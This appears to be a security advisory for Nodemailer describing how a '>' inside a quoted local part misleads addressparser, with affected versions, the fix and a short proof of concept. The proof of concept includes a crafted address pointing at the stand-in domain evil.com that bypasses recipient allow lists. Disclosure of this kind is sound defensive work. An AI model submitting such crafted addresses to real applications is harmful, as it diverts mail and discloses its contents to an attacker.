Packages / nodemailer / Security

ModerateVulnerabilityGHSA-85x2-q946-cp5hPublished 23 Oct 2026

Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name

Your version

Affected releases · nodemailer

  • 10.x10.0.0 – 10.1.3Fixed in 10.1.4
  • 9.x9.0.0 – 9.1.1No fix on this line yet
  • 8.x8.0.0 – 8.0.11No fix on this line yet
  • 7.x7.0.0 – 7.0.13No fix on this line yet
  • 6.x and older3.0.0 – 6.10.1No fix, no longer updated

On 10.x, the newest line:

npm install nodemailer@10.1.4
Every release on a timeline
10.x
  1. Affected

    10.0.0 – 10.1.3

    21 releases

  2. Fixed

    10.1.4 – 10.2.1

    6 releases, latest

9.x
  1. Affected

    9.0.0 – 9.1.1

    9 releases

8.x
  1. Affected

    8.0.0 – 8.0.11

    12 releases

7.x
  1. Affected

    7.0.0 – 7.0.13

    13 releases

6.x
  1. Affected

    6.0.0 – 6.10.1

    60 releases

5.x
  1. Affected

    5.0.0 – 5.1.1

    4 releases

4.x
  1. Affected

    4.0.0 – 4.7.0

    23 releases

3.x
  1. Affected

    3.0.0 – 3.1.8

    12 releases

305 stable releases of nodemailer, oldest to newest, one row per major.

What happens

Vulnerability summary

addressparser ends an angle-addr at the first > it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that >. <"a@evil.com>"@good.com> is the mailbox "a@evil.com>"@good.com under RFC 5322, and Nodemailer read it as an address at evil.com. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3.

Attacker capabilities

The attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.

Realistic exploitation scenario

An application lets users send invitations or notifications only to addresses at an allowed domain and validates the submitted value with a conformant parser or by checking its domain. The attacker submits <"a@evil.com>"@good.com>, which validates as a good.com mailbox. Nodemailer then parses the same value, issues RCPT TO:<"\"a"@evil.com> and the message, with whatever content the application puts into it, is delivered to the attacker's domain. The security boundary crossed is the application's recipient allow list. In the inbound direction, mailparser reports a different address than a conformant reader of the same header, so a display or policy layer built on the two disagrees.

Proof of concept

const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("<\"a@evil.com>\"@good.com>"));
// [ { address: '"a@evil.com', name: '@good.com>' } ]

Python's email._header_value_parser.get_address_list reads the same value as "a@evil.com>"@good.com, with no defects reported.

The envelope a message gets is built from the same parse, so sendMail({ to: "<\"a@evil.com>\"@good.com>" }) issues the RCPT TO shown above.

Security impact

Mail that an application intends for an allowed domain is delivered to a domain chosen by the attacker, which discloses its content. It is a security vulnerability rather than a parsing bug because the misreading only occurs for values that a conformant validator approves, so validation done the right way is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.

The fix tracks quoted strings, comments and domain literals inside an angle-addr and reads only a > outside them.

Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.